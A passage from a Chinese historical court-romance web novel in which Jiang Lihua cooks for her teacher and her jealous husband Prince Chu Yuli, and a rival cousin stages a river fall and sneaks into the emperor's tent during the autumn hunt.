沈遇知抬步跟了上去,两个儿子亦然。
沈遇知跟着师父进了屋中,就见姜黎婳已经站起来了,他眉梢微挑,难怪今天师父不待见自己过来呢,原来是小师妹来了。
他眉梢微挑,假装不知道姜黎婳的身份,抬手躬身朝姜黎婳行礼,“御王妃。”
姜黎婳连忙回礼,“沈大人。”
“装什么装?”上官清泉一巴掌打在四十多岁的沈遇知头上,“明知道她是你师妹,还在这儿装模作样地行礼?”
沈遇知眼底闪过一丝促狭,他丝毫不介意自己的师父当着这么人的面打他这个太傅的头,他笑着揉了揉自己被师父打过的头,“我这不是想给师妹一点接受的时间吗?”
说着对自己两个儿子介绍道:“这是御王妃,也是你们兄弟两人的师姑,以后见到师姑,你们给我态度恭敬些,若让我知道你们兄弟两人不敬师姑的话,饶不了你们。”
二十一岁的沈归离:“......”
十九岁的沈归昱:“......”
这要他们如何下得去口喊一个比他们还小的人喊师姑啊?
姜黎婳笑着给沈遇知福了福身子,“师兄,看来师兄早就知道我的身份,所以才会在前几次对我出手相助,婳儿再次多谢师兄之前的相助。”
她听楚御礼说过,之前父皇处置淑妃一家的时候,也有
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师兄推波助澜。
沈遇知摆手一笑,“我也不过是动动口罢了,没起到什么大作用。”
“你比起你师妹来,的确是差远了。”上官清泉揪着胡子撇嘴道。
这时候姜淮邦和姜斯羽父子二人赶紧给沈遇知见礼,沈遇知听了姜斯羽的自我介绍,眼睛一亮,“你就是三年前中了江南解元但是却没有如今参加会试的江南才子姜斯羽?”
姜斯羽拱手,“多谢太傅大人记挂,小生不才,所以当年并未参加春闱。”
“我看过你写的策论文章,若你当年参加春闱的话,状元就没我家这小子什么事儿了。”
沈归离站了出来,“久仰姜公子大名,今日得以一见,是沈某之幸,当年没能与姜公子切磋一番,实在是遗憾。”
“沈大人才华横溢,姜某实在是不...”
“行了行了,菜都凉了,你们要互夸请你们出去,别耽误我吃午饭。”上官清泉在圆凳上坐下,拿起筷子把自己喜欢的菜往碗里夹,“你们喜欢相互奉承,那就出去外面去奉承,别耽误了我吃饭。”
姜黎婳和沈遇知对视了一眼,皆是从对方眼中看到了无奈,这时候有婢女在桌上加了碗筷,沈遇知在上官清泉身旁坐下,对沈归离道,“你师祖说得对,你与姜公子若是想要切磋一番的话,可以去外面的凉亭切磋,我们先用饭了。”
姜斯羽可不愿意错过自己妹妹难得亲手做的饭菜,他连忙坐下拿起碗筷,笑着对沈归离道,“在下不才,就不在沈大人面前献丑了,还是先吃饭吧。”
姜淮邦也笑着坐下,“是啊,这些菜凉了就不好吃了。”他夹起一块酸辣猪蹄放进碗里,“当然,这个不算。”
姜黎婳好笑地摇了摇头,不过作为师姑的她,自然不会不管自己的两个师侄的,她招呼沈家两兄弟坐下,“这些菜都是我今天亲自做的,两位大师侄快坐下尝尝。”
沈家兄弟:“......”
这小师姑的适应能力还挺强的啊。
这么快就接受了有这么大的两个师侄的事情了?
第151章 什么醋都要吃的王爷
今日上官府一行姜黎婳尽兴而归,她真是没想到能与能当她爹一般年纪的师兄竟然能聊得那么尽兴,而两个师侄也不是扫兴的人,她与他们两人相处下来也很是愉快。
答应了上官清泉以后常来看他之后,姜黎婳带着父兄离开了上官府,当然,姜斯羽是回去收拾行李的。
姜黎婳已经同上官清泉说好了,姜斯羽今天就住进上官家中来,直到春闱结束。
现在时辰不早了,姜黎婳直接回王府,她与姜家父子两人在上官家门口道别,“哥哥,别忘了你答应我的话哦。”
“知道了。”姜斯羽抬着下巴,“方才我与沈公子说的那些不过是客气话,三年前你兄长我若来京城参加春闱,状元的位置可就没沈公子什么事儿了。”
“你别夸大了,我瞧着我两个师侄都是有大才的,今年我那小师侄可是你强有力的竞争对手。”
“你怎么能长他人志气灭自己威风呢?”姜斯羽蹙眉,“你还是不是我亲妹妹?”
“是是是。”姜黎婳好笑地看着姜斯羽,“那这几个月就好好学习,争取三元及第。”
......
姜黎婳刚到王府就看到匆匆而来的青砚,青砚看到姜黎婳如同看到了救星,他疾步走过来扑通就跪在了姜黎婳面前,“王妃,您总算回来了!”
姜黎婳瞧着这跪的脆生生的青砚,眼皮一抬,有些谨慎地问,“是不是王爷出事了?”
“王爷这几日一直在处理刑部的事情,今天处置了一个连环**犯,回来之后就不用膳了,到现在王爷都还没用午膳呢,早膳王爷用得少,属下实在是劝不住了。”
姜黎婳眉头微蹙,“这个时辰了还没有用午膳?”
她抬步朝府中走,“王爷在哪儿?”
“在书房。”青砚叹气,“属下这就去聚香楼给王爷买点可口的饭菜回来。”
姜黎婳没说话,让佩玉她们回院子,自己则直接朝书房那边而去。
这时候急匆匆要去聚香楼买饭菜的青砚站在原地不动了,他朝房顶吹了个口哨,“你们几个是会挑事儿的,若王妃知道了,非得让王爷扒了你们的皮不可。”
回答他的是一阵风声。
青砚撇嘴,转身慢悠悠的往外走,该买的饭菜还是得买回来的,主子若是不吃的话,那就便宜他们这些当属下的了,嘿嘿。
姜黎婳到了书房,楚御礼还在沉着脸翻公文,听到有人进来,楚御礼沉声道:“本王说了,本王不吃,你们听不懂吗?”
“为何不吃?”姜黎婳走进来,“没胃口?”
楚御礼听到姜黎婳的声音,他面上的表情稍微缓和了一点,他放下公文,朝姜黎婳伸手,“回来了?”
姜黎婳把手放在他手掌中,顺着他的力度走到他面前站定,看了一眼桌案上的公文,“公务越是繁忙,殿下越要认真用膳才是,万万不可用自己的身体开玩笑。”
楚御礼眉头微蹙,“没什么胃口。”
姜黎婳反手给他的手拉过来诊脉,片刻之后,她眉头舒缓,“脉搏来看也没什么问题,怎么会没胃口?”
楚御礼垂眸,有一个会医术的娘子真的太难了。
想装个病都不可以。
他抬手揉了揉自己的眉心,轻叹,“这几日处理的连环**案,凶手作案的手段极其凶残,场面极其恶心,为夫实在是吃不进去。”
房顶的沉鹤:“......”
如果不是他青砚看见自家主子在前几日用极其残忍的手段对那个连环**犯用刑之后还去吃了一碗毛血旺,他就真的相信了。
不知道这些的姜黎婳听楚御礼这么说,眉头微微皱了起来,“那我让厨房给你熬点清粥再配点爽口的小菜?”
“厨房做的饭菜就那些,吃了这么多年都吃腻了。”楚御礼捏了捏姜黎婳的手,“娘子不用管为夫,不过是一天不吃饭罢了,饿不死的。”
“那怎么行!”姜黎婳不满地看着楚御礼,“人是铁饭是钢一顿不吃饿得慌。”
她以前每天都有训练的时候,最盼望的就是吃饱饭,不然拉弓都拉不开,楚御礼如今每天都要练武,还要去刑部办案,比她以前训练的时候还费力气,怎么能不吃饭?
她看了楚御礼一眼,沉声道:“你等我一下。”
楚御礼抬眸看她,“嗯?”
“我去给王爷做几个爽口的小菜,再
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给王爷熬点小米粥,如何?”害怕楚御礼拒绝,姜黎婳强硬地说道,“你不准拒绝!”
“我不想娘子为我受累。”楚御礼轻叹,“我还有好多公务要忙,娘子先回去休息,等我忙完了,我再去和娘子一同用晚膳,如何?”
他听冽风说娘子今天在上官府做了小炒牛肉还做了什么糖醋排骨还有烤鸡...
现在就给他做点清粥小菜?
他不配吃肉吗?
“不行。”姜黎婳抽回自己的手转身就往书房外面走,“多大的人了,怎么还耍小孩子脾气。”
半个时辰后。
楚御礼看着摆在桌上的一道小炒肉和一道回锅肉,还有一份炒素菜和一碗白米饭。
他有些诧异地看向姜黎婳,“这些都是娘子做的?”
姜黎婳嗯了一声,“为了快些把饭菜给你做好,我把手都给烫到了,你可不能不吃。”
“手烫到了?”楚御礼一把抓起姜黎婳的右手,看到她手背上的一大个水泡,他眉头皱了起来,“怎么这么严重?”
早知道做饭这么危险,他就不应该嫉妒那什么劳什子的上官清泉,非要吃上娘子做的饭菜的。
他让昭临去找烫伤药膏,自己拉着姜黎婳坐下,轻轻地给姜黎婳吹手背,“都是我不好,害娘子受伤。”
“做饭菜被烫到很正常。”姜黎婳指着小炒肉,“这是我的拿手菜,你尝尝。”
“一看就很好吃,娘子你还有什么惊喜是为夫不知道的?”楚御礼接过昭临找来的烫伤药膏,亲自给姜黎婳上药,“只是这做菜太危险了,娘子以后万不能碰了。”
“我以前也不是很会,但是胜在吃得不少,为了拜师就慢慢研究,后来上手了,也就会了。”姜黎婳抬眸看着楚御礼,带着促狭的笑意,“你之所以不愿意吃饭,是不是有暗卫告诉你我今天给师父做饭菜,所以吃味了?”
楚御礼不自在的咳嗽了一声,“若是知道娘子会被烫到,那为夫是说什么都不会吃这个醋的。”他心疼的看着姜黎婳,“旁人不心疼你被烫伤,我心疼。”、
姜黎婳:“......”
这还是还要给她上点眼药水啊?
第152章 裴湘宁找姜黎婳
时间一晃又过去了好几日,终于到了秋猎。
楚御礼、姜黎婳夫妇两人早早进了皇宫,这次皇帝秋猎带了皇后、慧妃、贤妃和德妃,皇子公主全都随行,众臣在宫外等候。
姜黎婳与皇后从凤仪宫中出来没多久就在宫廷长廊上和慧妃遇到了,看到姜黎婳扶着皇后,与皇后有说有笑,慧妃就觉得刺眼,皇后把她爹死对头的女儿指给她儿子当媳妇,让自己每次看到儿媳妇就烦心,她倒好,自己和儿媳妇和乐融融的!
这时候鲁卿秋和楚明暄二人也姗姗来迟,楚明暄一副没睡醒的模样,而鲁卿秋呢,人好看了不少,看上去也精神了不少。
慧妃看到这一幕就觉得来气,她对着鲁卿秋就怒喝,“御王和御王妃早就进宫了,你身为高门贵女连这点规矩都不懂?还要本宫和皇后等你不成?”
鲁卿秋面上没有丝毫畏惧之色,她不卑不亢的在给慧妃福了福身子,“是儿臣的错,儿臣不应该在家等彻夜不归的王爷,应当早些入宫的,下次儿臣一定注意。”
楚明暄闻言立刻朝鲁卿秋骂道,“你这个贱妇,还敢告状!”
鲁卿秋面无表情的睨了他一眼,沉声道:“王爷这意思是妾身连真话都说不定,被责骂无论是冤枉还是如何,妾身都必须得受着了?”
“你是暄儿的王妃,自然应该事事为暄儿着想。”慧妃冷哼一声,“你倒好,本宫才问了你一句话,你就巴不得立刻把暄儿给出卖了!以后我们怎么指望你安宅!”
“就是,本王瞧你嫁给本王就是不安好心!”楚明暄立刻应和道。
“束郡王你这是在质疑本宫和你父皇对你的心思了?”皇后面无表情的走上前,她亲自伸手把鲁卿秋从地上扶了起来,冷冷的看向慧妃,“二皇子若是自己靠谱,皇上何必操心他的婚事,还特意选了成熟稳重的卿秋给他当媳妇儿,他身为王爷日日流连勾栏本就不对,难道还不准说了?”
皇后说到这里目光又扫向楚明暄,“你若不想你媳妇儿当着这么多人的面把你的丑事说出来,那你就管住你自己的下半身,少做点丢皇室脸面的事情来。”
慧妃如今已经不是贵妃了,听到皇后这么说气得狠狠地甩了一下袖子,冷冷道:“皇后娘娘如此意气风发,想来这次狩猎御王想要大展身手了!那可真是让臣妾万分期待呢!”
“御儿会不会大展身手本宫不知道,但本宫知道束郡王应该没什么身手可展。”皇后说罢看都不看慧妃,抬步就朝前面走,一边对姜黎婳道,“你父皇和御儿可能已经在前面等着了,咱们快过去吧。”
随行宫人连忙跟上。
鲁卿秋知道自己站在这里慧妃和楚明暄不会宣泄自己的情绪,她对慧妃福了福身子,抬步跟着皇后他们离开了。
鲁卿秋刚走不远,慧妃就狠狠地给了楚明暄一巴掌,“你知道那个小**和我们不是一条心,你就应该管住你自己一点,怎么非要让她抓住把柄!”
楚明暄捂着自己发红的脸,眼神毒辣的盯着鲁卿秋的背影,冷声道:“早晚有一天本王会要了那个**的命!”
“她一个女人再怎么蹦跶也不过是你的王妃,你连一个女人都治不住,我还能指望你什么?”慧妃狠狠地剜了楚明暄一眼,“这次秋猎是除掉楚御礼的好时机,你得与你外祖父好好商议一下,明白了吗?”
楚明暄的脸色这才好看了一些,“母妃你放心,儿子这次一定会让楚御礼有去无回。”
御街。
百官早已经在御街上等着帝后和后妃了。
帝后等人到达御街之后,就起身出发朝着猎场而去。
经过几个时辰的车程,队伍才在猎场停下。
猎场离着行宫的位置不远,不过为了方便狩猎,每次秋猎都是在猎场中设帐篷。
士兵正在扎营,姜黎婳在马车上坐着有些无聊,楚御礼便带她下车散步,夫妇两人刚下马车就有几个人朝他们这边走来。
吕静雅和裴湘宁两人相携过来给两人见礼,楚御礼这几日为了空出时间来秋猎,几乎每天都扎在刑部,除了晚上回府睡觉的时候能与姜黎婳单独相处之外,就是在忙,现在好不容易能和媳妇儿过一下
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二人世界了,竟然冒出来这么两个电灯泡。
他眼神冰冷地扫过两人,“你们过来做什么?”
看过无数本话本子,又和两人经常相处的吕静雅立刻知道自己这是被嫌弃了。
她赶紧背叛裴湘宁,“是湘宁想过来和婳姐姐打招呼,叫我过来陪她的,不是我主动要过来的!”
裴湘宁:“.......”
说好的好姐妹呢?
她扯着嘴角笑了笑,对姜黎婳道:“上次表嫂你身体没恢复,我也不敢过多打扰,所以没能和表嫂你好好聊聊,先前瞧着表哥陪你在这边散步,我就想过来陪你说说话。”
说着她睨了楚御礼一眼,撇嘴道:“我们女子和表哥他们这种男子待在一起有什么意思?再说了你们两人日日都在一起,肯定腻了,不如我们一起去逛逛?我知道附近有很多风景不错的地方,不如我们去逛逛?”
姜黎婳有些不解的看着上次对自己爱答不理的裴湘宁,不过她自己并未从裴湘宁身上感受到敌意,便也没有拒绝。
楚御礼见她答应了,不爽的看着裴湘宁,“你要与你表嫂逛就护好她,她若是少一根头发,我拿你是问。”
“知道了,我保证一根汗**都不会少!”裴湘宁说着朝楚御礼吐了吐舌头,拉着姜黎婳就朝另一边走,“表嫂我给你说,表哥这人可无趣了,以前他去我们府上做客,就喜欢一个人坐着喝茶,也不和我们玩的,我去找他玩,给他讲笑话的时候,他连表情都不会变一下。”
说着她又有些好奇的看着姜黎婳,“你平日里是怎么和他相处的啊?”
姜黎婳蹙眉,她很认真的思索了片刻,然后对着裴湘宁道:“王爷不像是那种无趣的人啊。”
吕静雅表示赞同,她语重心长的看着裴湘宁,“湘宁啊,或许我们认识的御王和婳姐姐认识的御王殿下,完全不一样呢。”
裴湘宁蹙眉,“能有什么不一样的?”
她惊疑的回头看着一个人站在溪边的楚御礼,“表哥他换了一个人?”
吕静雅:“.......”
第153章 裴霜絮在楚御礼面前落水
姜黎婳三人带着婢女走了有一段距离就听到有人在呼救。
姜黎婳回头看过去,一个身穿白色纱裙的女子正在楚御礼面前的河水中扑腾呼救。
裴湘宁眼睛一瞪,眼中全是不可置信,裴霜絮她要做什么?她不是说只让自己表嫂支开,自己只想问清楚表哥心中是怎么想的吗?
她怎么会跳到河中去了?
看到这里裴湘宁立刻想明白了裴霜絮的心思,她双手死死的捏着,接着朝姜黎婳跪了下去,“表嫂,是我识人不清,给你添麻烦了。”
姜黎婳垂眸看着忽然跪在自己面前的裴湘宁,她眉梢微挑,“裴霜絮当时给我说你喜欢御王,我并不相信,现在看来,我的直觉并没错。”
裴湘宁听到姜黎婳这话,不可置信的抬头,“她说我喜欢表哥?”
“她是脑子有病吧!”裴湘宁满脸愤怒,“我看她是庶女平日里也总是看母亲的脸色行事,所以事事谦让于她,没想到她竟然是这样给我泼脏水的!她还真有脸求我办事!”
她回头看了一眼已经有人朝那边**的河边,对姜黎婳道:“我虽然被她蒙骗,但是也是存了帮她的心思才把表嫂你哄过来的,表嫂是我对不起你。”
姜黎婳笑了笑,“她是如何给你说的?”
这边。
楚御礼站在河边看着拼命在河中扑腾求救的裴霜絮,脸上没有半分情绪,也并没有一点上前救人的想法,他静静地看着在水中扑腾的人,眉头还嫌弃的皱了起来,接着转身离开了。
在河中扑腾的裴霜絮看着楚御礼竟然看了半天之后就这样转身离开了,她气得使劲在水里拍了两下,打算往河边游过去,但不知道是不是因为在水里面扑腾的时间太长了,她才游了两下脚就抽筋了,这下开始真的抽筋了。
站一旁的士兵和侍卫没有主家的吩咐也不敢贸然下去救水中的贵女,生怕被怪罪毁了人家贵女的清白。
裴霜絮眼看就要沉下去了,走过来的姜黎婳指挥着铃铛下水救人。
因为今天要出门秋猎在家好好地打扮了一番的铃铛不情不愿的应了一声跳下水去把裴霜絮给救了起来。
如今入了秋,天气寒凉,裴霜絮又呛了水,被救起来之后脸色苍白,看上去很是可怜。
这时候站在人群中的世子夫人秦氏站了出来,她冷冷的吩咐嬷嬷把裴霜絮扶到马车上换衣裳,然后向姜黎婳道谢,“今日多谢王妃出手相救了,不然她这条命怕是就要丢在这河中了。”
“举手之劳罢了,裴小姐应该受了不小的惊吓,舅母请太医给她瞧瞧吧。”姜黎婳说罢朝另一边走去。
秦氏扯着对角对姜黎婳点了点头,然后转身朝裴霜絮的马车走去。
裴霜絮没想到楚御礼竟然那般冷血无情,看着自己在河中扑腾,他竟然冷眼旁观,根本不想救她!
她的气还没发出来,秦氏已经上了马车,裴霜絮刚穿好衣裳,见到她进来,连忙系好衣裳,给秦氏见礼,“母亲。”
秦氏目光冰冷的盯着裴霜絮,接着抬手一巴掌落在裴霜絮脸上,“我们侯府的脸面都被你丢干净了!”
裴霜絮捂着脸,不解地看着秦氏,“我不懂母亲在说什么,落水难道是女儿愿意的吗?母亲难道就要因为我是庶女,所以不分青红皂白就率先责怪女儿吗?”
“你别以为我不知道你对御王的心思,你往哪儿落水不好,要落在御王面前的河里?”秦氏面色冰冷的看着裴霜絮,“你该不会以为我这个做嫡母的连你会水这种秘密都不知道吧?”
裴霜絮闻言脸上露出惊慌的神色,她扑通在马车上跪了下去,“母亲,是女儿一时鬼迷心窍,求您原谅女儿。”
“原谅你?”秦氏冷笑,“你还是想想一会儿你怎么求得皇后的原谅吧!你在御王面前落水,御王救你那就得对你负责,即便她不愿意也得封你为侧妃,他不救你,就是冷血无情,会坏了他的名声!他被你如此算计,你觉得皇后会放过你吗?”
裴霜絮慌了,她并未设想过其他结果,她的心都一直笃定,若自己在表哥面前落水了,那表哥一定会跳水救她的!
可现实是表哥没有救她!
她连忙抓着秦氏的手,低声祈求,“母亲,求您看在父亲的面上帮女儿一下吧。”
“我这种恶毒嫡母,哪儿有那个本事帮你这种可怜的庶女?”秦氏
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狠狠地拂开裴霜絮的手,“你自己做的孽,自己承担后果。”
秦氏说完转身就往马车下面走,她走下马车就看到了站在车边的裴湘宁,她伸手在裴湘宁的额头上戳了一下,“我早就告诫过你,善良可以,但是不可以眼瞎,被人耍得团团转都不知道,我怎么会生下来你这个蠢笨的女儿来的?”
秦氏说罢抬步朝皇后的马车走去。
如她所料,现在人人都在说楚御礼见死不救冷血无情,那可是他的亲表妹他都能见死不救,这种人能对百姓又有什么怜惜之心?
皇帝听了之后震怒,直接把楚御礼宣到了龙辇前,呵斥,“你方才看到裴家小姐落水为何不救?”
楚明暄见状赶紧过来看好戏。
楚御礼不紧不慢地跪在地上看着龙辇上的皇帝,沉声道:“因为儿臣不会游泳。”
楚御礼说着叹气,“父皇您莫不是忘了,儿臣前些年因为胎弱的病,连多走几步路都喘不上气,儿臣又怎么会有那个能力去学游泳呢。”
众人听了楚御礼这话,立刻变了话锋,“也是啊,这御王殿下自己都不会游泳,怎么能下水救人呢?”
“没错,这河水也不知道有多深,御王殿下不会游泳,贸然下水救人,若是不小心的话,自己还可能丧命!”
“还有,这御王殿下即便会游泳,这秋日的水如此寒凉,他的病本刚好,若受了凉,再病了怎么办?”
皇帝听着下面一个个的话锋变了,又想起楚御礼的身体也的确才好没多久,他脸色缓和了不会少,“那你刚才为何不喊人去救人?”
“表妹身为侯府贵女,儿臣实在是不好喊侍卫去救人,我这不是刚转身打算去找会水的嬷嬷救人,我媳妇儿身边的婢女就把人救起来了嘛?”楚御礼说着回头对着站在人群中的姜黎婳名嘴一笑,“还是我媳妇儿厉害。”
“是啊,御王妃心善啊。”立刻又有人说。
“还好御王妃的婢女下水得及时,不然这裴小姐可就完了。”
楚御礼听着这些话,他眉梢微挑,抬眸看向皇帝,“父皇,儿臣觉得现在重要的不是谁救了裴小姐,而是佩小姐为何会落水。”
第154章 裴霜絮的恨
楚御礼站起来,对着皇帝拱手,“父皇,我们才刚到这里,就连营帐都没有扎好,就出现了贵女落水的事件,儿臣怕咱们的狩猎队伍中,混入了心思不纯的人啊。”
皇帝闻言眼睛一眯,片刻后,他沉声道:“福清,此事交由你亲自去查!”说着他深深地看了一眼站在自己龙辇面前的大儿子,冷声道:“御林军统领何在?”
“臣在。”身穿银甲的御林军统领邵文轩立刻从人群后方走出来在皇帝龙辇前单膝跪下,“陛下有何吩咐?”
“加强猎场的戒备。”皇帝目光凉悠悠地环视了众人一圈,“别让不该掺进猎场的东西进了猎场,明白了?”
“臣遵旨。”邵文轩立刻领命离开。
事情刚处置完,士兵那边也把营帐扎好了,皇帝率先进了最中心最大的营帐,楚御礼也带着姜黎婳直接进了皇帝营帐后面的营帐,皇后和其他几个妃子住在皇帝周围的几个营帐,其他人的营帐依次往外扩散,官阶越低的住在约边缘。
这边裴湘宁还没来得及责问裴霜絮,福清就过来了,看到福清,裴霜絮几乎是下意识的求助裴湘宁,可是裴湘宁想到自己处处为裴霜絮着想,而裴霜絮却只想利用自己,甚至在背后还那样算计自己,她就直接忽视了裴霜絮的目光。
裴霜絮被带到一个满是刑具的营帐时,人都被吓瘫软在了地上。
福清面无表情的看着胆小如鼠的裴霜絮,“裴小姐不必害怕,咱家把您叫到这里来不是要对您用刑,只是咱家想要在这儿问您几个问题,您只需要如实回答咱家就好。”
裴霜絮咽了咽口水应下,“公公您问。”
“你方才是如何落水的?”
裴霜絮自然不敢说自己是主动跳下去的,她连忙道:“我只是想到河边散步,谁知被河边的野草绊了一下就摔到了河中,我知道今天因为我落水之事给御王殿下带来了不好的影响,我定然会亲自给御王殿下赔礼道歉的。”
“没有人推你?”福清目光淡淡的盯着还坐在地上的裴霜絮,“是你自己摔到河中的?”
“对,是我自己不小心踩落入河中的。”
福清颔首,“好的,咱家知道了,皇上还等着咱家回话,咱家就不送您了。”
福清说罢甩了一下自己手上的拂尘,转身离开了营帐。
裴霜絮见状赶紧爬起来往外走去,谁知她才刚走到营帐外面,就看到了皇后身边的佩蓉,佩蓉面无表情的对她福了福身子,“霜絮小姐,皇后娘娘请您过去。”
裴霜絮脚下一软,人差点跪了下去,“我身子有些不适,还请嬷嬷...”
“霜絮小姐,我们皇后娘娘说了,若您想要一辈子都生病养在侯府的话,可以不去见她。”
裴霜絮听到这话心都凉了半截,她强撑着力气打直后背,对佩蓉笑了笑,“我虽然身子不适,但姑母要见我,我自然是不能推辞的,烦请嬷嬷带个路。”
佩蓉这才转身朝皇后的营帐走去。
裴霜絮刚到了皇后的营帐,皇后手中的杯盏就朝她砸了过来,裴霜絮避不及时身上被砸了一下,茶水打湿了她的衣裳。
她扑通一声跪在地上,“姑母!”
“本宫不是你姑母!”皇后眼神冰冷的看着跪在地上的裴霜絮,“裴家怎么就出了你这么一个白眼狼!本宫平日你对你不好吗?本宫因为你是庶出的就对你和湘宁有差别吗?你倒好,竟然敢算计你表哥了!”
“你表哥是以前身子不好所以不会游泳,若是他会游泳是不是要被你架在火架子上烤了?”皇后想到儿子今天如果会游泳很可能因为不救自己的亲表妹就被口诛笔伐,她就气不打一处来,“裴霜絮,你真是好大的胆子!”
“姑母明鉴啊,侄女真的不是故意落水的,侄女真的只是不小心才会掉入河中的!”裴霜絮连忙在地上磕头。
“你别以为我不知道你的心思!”皇后冷哼,“你母亲早就给我说过你会水!你既然是不小心落入水中的,你为何不自己游泳起来?还非要在你表哥面前扑腾!”
裴霜絮心头一沉,心都对秦氏的恨意越发浓郁了,她伏在地上哭着道:“都是侄女鬼迷了心窍,才会做出那种事情来,求姑母
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看父亲的份上原谅侄女这一次吧!”
“我不管你打的是什么心思,我告诉你,本宫的儿媳妇如今本宫就只认婳儿一人,你若再敢闹出什么幺蛾子,你休怪我不留情面让人把你送回侯府禁足!”皇后说罢直接挥手,“这几日别出现在本宫面前,本宫不想看到你。”
裴霜絮听到这话,心头对皇后浮出浓浓的恨意。
为什么?
她才是皇后有血缘的侄女!
皇后为什么宁愿喜欢一个商贾之女,都不要自己当御王的侧妃?
这些人凭什么要这样对她?
难道基因为自己是庶女吗?
裴霜絮想到这里眼睛一眯,既然你们都不愿意看到我往上爬,那我越要往上爬!
这是你们逼我的!
而姜黎婳营帐中,楚御礼一直闷闷不乐,看着姜黎婳还闭着眼睛假寐,他就更不爽了,伸手揪着姜黎婳腰间挂着的穗子扯着玩。
扯了好一会儿,姜黎婳感受到了他的怨念,她睁开眼,笑看着坐在床榻旁边脚踏上的王爷,“王爷为何不高兴?”
“娘子都不问问为夫为何不救她?”
“自然因为我们王爷聪明,看透了她的伎俩。”姜黎婳把自己腰间的穗子从他手中解救出来,“我们夫妇心意相通,难道我还能猜不到王爷的心思了?”
“我楚御礼的妻子只会有你一人,别人就算再怎么用心思,我也不会看他她们一眼。”楚御礼沉着脸道,“她以为她是舅舅的庶女我就会救她?简直痴人说梦。”
一个婢女打扮的人端着热水走到两人营帐外面就听到这句话,她双手死死的捏紧了水盆的边缘,眼中闪过一丝杀意。
凭什么?
姜黎婳那个卑贱的女人凭什么就可以得到楚御礼的爱护!
而她现在却连自己的真实容貌都不能露出来?
姜黎婳!
我一定要你死!
姜黎婳,你必须要死!
“是谁在外面?”楚御礼冰冷的声音骤然响起。
昭临立刻从外面拽着一个宫女走进来,“王爷,是这个宫女在外面鬼鬼祟祟的!”
第155章 娘子,你专心点
宫女没想到自己才在营帐外面站了片刻,竟然就被楚御礼的侍卫抓进来了,她慌张的跪在地上给楚御礼和姜黎婳磕头,“奴婢只是粗使宫女,奉命来给王爷和王妃送梳洗的热水,听到王爷和王妃正在说话,所以才不敢进来打扰,请王爷、王妃明鉴。”
楚御礼冷冷的扫了跪在地上的宫女一眼,沉声道:“水放下,你出去。”
宫女连忙谢恩退了出去。
宫女退出去后,楚御礼才对姜黎婳道,“今日应该是不会狩猎了,赶了好几个时辰的路,你应该也累了,不如先洗漱休息一下?”
夜幕降临。
今天是到猎场的第一日,皇帝传令文武百官一同到膳营与皇帝一同用膳,晚宴上,酒过三巡后,皇帝说了明日秋猎的事情,也说了摘得魁首的人会有黄金千两和封赏御前带刀侍卫的奖励。
御前带刀侍卫可是不小的殊荣,这算得上皇帝的亲卫了,下面不少世族公子都露出跃跃欲试的眼神。
皇帝没有注意其他人的目光,而是看向楚御礼,“御儿大病初愈,明日可要参加狩猎?”
楚御礼站起来,恭敬的给皇帝躬身行礼,“儿臣想参加,以前因为身体原因,儿臣不能像其他兄弟那样纵马驰骋,明日儿臣也想感受一番那种肆意的感觉。”
“好。”皇帝笑着点头,“你明日是第一次参加狩猎,若你猎得猎物,朕就有赏赐。”
若是其他皇子这时候一定会感激的谢恩了,但楚御礼不同,他站直身子,目光直直的看着皇帝,眼中还带着笑意,“父皇,儿臣猎得一个猎物就会有一样赏赐吗?”
皇帝先是一顿,接着领会到了楚御礼话中的意思,他哈哈大笑着点头,“没错,你猎一个猎物朕就给你一个奖励,猎物越大,奖励越大,猎物越多,奖励也越多,你现在可满意了?”
楚御礼从餐桌后面走出来给皇帝跪下行礼谢恩,“儿臣多谢父皇,儿臣明日一定不会让父皇失望的!”
皇帝笑着让他起来回去坐着用膳。
皇后坐在皇帝身边看着这一幕,脸上的笑意也越来越深,而另一边的慧妃气得连酒杯都捏不稳了。
楚明暄看着这一幕,脸色也变得非常难看,楚御礼这个短命鬼还真会得寸进尺,猎一个猎物就想要一个礼物?真是显着他了!
你那么想要这些赏赐,我就看你有没有那个命来拿!
与此同时,被皇后勒令不准出现在自己面前的裴霜絮避开了婢女,穿着单薄的纱裙出现在了皇帝的营帐前面,看着没有侍卫守卫的营帐,她眼中闪过一丝恨意...
是你们逼我的!
既然你们不让我嫁给楚御礼,那我就拿下皇上!
她就不信身为天子的皇帝会不喜欢年轻漂亮的女子。
她下定了决心抬步往前走,她这次绝对不会就这样回侯府,若她就这么坐以待毙的话,回去还不知道会被那个嫡母如何磋磨!她要成为人上人!嫡母不是那样看不上她吗?她就要当以后嫡母见了也要行礼的皇帝嫔妃!
她深深地吸了口气,掀开营帐的门帘走进了营帐。
皇帝休息的营帐里面布置得很简单,除了一张龙床和两张椅,还有一扇屏风,其他东西什么都没有。
裴霜絮站在营帐内打量了片刻,然后褪去衣裳在皇帝的龙床上躺了下来。
宴席上。
正在给姜黎婳布菜的楚御礼抬眸听了昭临的话,脸上那浅浅的笑意瞬间消失不见,他面无表情把菜放进姜黎婳的碗中,这才压低声音在昭临耳边低语了两句。
昭临闻言眉梢一挑,应了一声之后直接退了下去。
姜黎婳等昭临退出去后,才抬头去看他,“怎么了?”
楚御礼轻轻摇头,“一会儿与你说,先用膳,吃饱一点,明日早膳定然没有府上做的合胃口,饭后还要去狩猎,狩猎很费体力的。”
“那都是明天的事情了,晚上吃太饱了睡不好。”
楚御礼轻笑,眼中先前染上的阴霾也随之消失不见,他压低声音在姜黎婳耳边轻声道:“那回去之后咱们再消耗一点体力,咱们还是一次在狩猎营帐中...”
他话还没说话就被姜黎婳塞了一块糕点,他伸手捏着糕点咬了一口,再把剩余的糕点递到姜黎婳嘴边,“太甜了,为夫实在是不喜欢。”
他们夫妇两人的互动很多人都看在眼中,有人羡慕,有人妒恨,
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也有人意味不明。
其中楚明暄的目光最为露骨,而坐在不远处的萧景琰,他的目光最为晦暗,让人难以察觉。
楚明暄站起来端着酒杯走到楚御礼他们的餐桌前面,他举着酒杯对楚御礼挑眉一笑,“明日狩猎,小弟在这里祝大皇兄满载而归。”
楚御礼睨了一眼明显言不由心的楚明暄,端着酒杯朝楚明暄举了举,接着把杯中的酒一饮而尽,楚明暄见状要走,被楚御礼喊住了,“二弟,为兄也祝你心想事成。”
楚明暄听到楚御礼这话,心头冷哼,他知道自己心头在想什么吗?若知道的话,怕死不敢敬这杯酒了,因为自己一旦心想事成的话,他楚御礼就会没命了!
他笑着给自己的杯中倒满了酒,“多谢大皇兄了。”
兄弟两人心思各异地把杯中的酒一饮而尽。
今夜宴席不谈国事皇帝和文武百官也喝得尽兴,楚御礼站起来之后人都有些晕晕乎乎的了。
